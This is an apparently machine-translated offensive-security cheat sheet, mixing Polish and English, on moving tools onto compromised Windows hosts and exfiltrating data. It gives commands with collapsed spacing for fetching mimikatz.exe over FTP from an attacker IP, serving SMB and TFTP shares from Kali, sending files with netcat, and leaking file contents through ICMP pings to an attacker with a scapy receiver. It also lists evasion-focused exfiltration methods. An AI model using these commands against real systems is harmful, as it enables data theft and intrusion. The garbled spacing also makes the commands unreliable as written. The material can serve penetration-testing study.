#Run the following script to configure the FTP server#!/bin/bashgroupaddftpgroupuseradd-gftpgroup-d/dev/null-s/etcftpuserpure-pwduseraddfusr-uftpuser-d/ftphomepure-pwmkdbcd/etc/pure-ftpd/auth/ln-s../conf/PureDB60pdbmkdir-p/ftphomechown-Rftpuser:ftpgroup/ftphome//etc/init.d/pure-ftpdrestart
Klient systemu Windows
#Work well with python. With pure-ftp use fusr:ftpechoopen10.11.0.4121>ftp.txtechoUSERanonymous>>ftp.txtechoanonymous>>ftp.txtechobin>>ftp.txtechoGETmimikatz.exe>>ftp.txtechobye>>ftp.txtftp-n-v-s:ftp.txt
SMB
Kali jako serwer
kali_op1>impacket-smbserver-smb2supportkali`pwd`# Share current directorykali_op2>smbserver.py-smb2supportname/path/folder# Share a folder#For new Win10 versionsimpacket-smbserver-smb2support-usertest-passwordtesttest`pwd`
Utwórz udział smb za pomocą samba:
apt-getinstallsambamkdir/tmp/smbchmod777/tmp/smb#Add to the end of /etc/samba/smb.conf this:[public]comment=SambaonUbuntupath=/tmp/smbreadonly=nobrowsable=yesguestok=Yes#Start sambaservicesmbdrestart
Exfiltration
Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including:
Compression: Compressing data before exfiltration can help evade detection.
Encryption: Encrypting data before exfiltration can prevent unauthorized access.
Steganography: Hiding data within other files or images can be used to exfiltrate data without detection.
DNS Tunneling: Using DNS requests to exfiltrate data can bypass network security controls.
Exfiltration over Alternative Protocols: Utilizing protocols like ICMP, HTTP, or HTTPS for exfiltration can help avoid detection.
Exfiltration to Cloud Storage: Uploading data to cloud storage services can be a convenient way to exfiltrate data.
Exfiltration over External Media: Copying data to external devices like USB drives for exfiltration offline.
It is essential for attackers to choose the exfiltration method carefully based on the target environment and the level of monitoring in place.
CMD-Wind> \\10.10.14.14\path\to\exeCMD-Wind>netusez: \\10.10.14.14\test/user:testtest#For SMB using credentialsWindPS-1>New-PSDrive-Name"new_disk"-PSProvider"FileSystem"-Root"\\10.10.14.9\kali"WindPS-2>cdnew_disk:
NC (Netcat) jest potężnym narzędziem do tworzenia połączeń sieciowych w wierszu poleceń. Może być używany do przesyłania danych z jednego komputera na drugi poprzez port TCP lub UDP. Może być również używany do nasłuchiwania portów na maszynie zdalnej, co czyni go przydatnym narzędziem do eksfiltracji danych. Aby użyć NC do przesłania pliku na zdalny serwer, możesz użyć polecenia:
nc<adres_ip><port><plik
W tym poleceniu adres_ip to adres IP zdalnego serwera, port to numer portu, a < plik oznacza, że dane z pliku będą przesyłane do zdalnego serwera.
# To exfiltrate the content of a file via pings you can do:xxd-p-c4/path/file/exfil|whilereadline; doping-c1-p $line <IPattacker>; done#This will 4bytes per ping packet (you could probably increase this until 16)
from scapy.all import*#This is ippsec receiver created in the HTB machine Mischiefdefprocess_packet(pkt):if pkt.haslayer(ICMP):if pkt[ICMP].type ==0:data = pkt[ICMP].load[-4:]#Read the 4bytes interestingprint(f"{data.decode('utf-8')}", flush=True, end="")sniff(iface="tun0", prn=process_packet)
SMTP
Jeśli możesz wysyłać dane do serwera SMTP, możesz utworzyć serwer SMTP do odbierania danych za pomocą Pythona:
sudopython-msmtpd-n-cDebuggingServer:25
TFTP
Domyślnie w systemach XP i 2003 (w innych systemach trzeba ją jawnie dodać podczas instalacji)
W Kali, uruchom serwer TFTP:
#I didn't get this options working and I prefer the python optionmkdir/tftpatftpd--daemon--port69/tftpcp/path/tp/nc.exe/tftp
Program debug.exe nie tylko pozwala na inspekcję plików binarnych, ale także ma zdolność do odbudowywania ich z kodu szesnastkowego. Oznacza to, że, dostarczając kod szesnastkowy binarnego pliku, debug.exe może wygenerować plik binarny. Jednak ważne jest zauważenie, że debug.exe ma ograniczenie składania plików do 64 kb wielkości.
# Reduce the sizeupx-9nc.exewineexe2bat.exenc.exenc.txt
Następnie skopiuj tekst i wklej go do okna powłoki systemu Windows, a zostanie utworzony plik o nazwie nc.exe.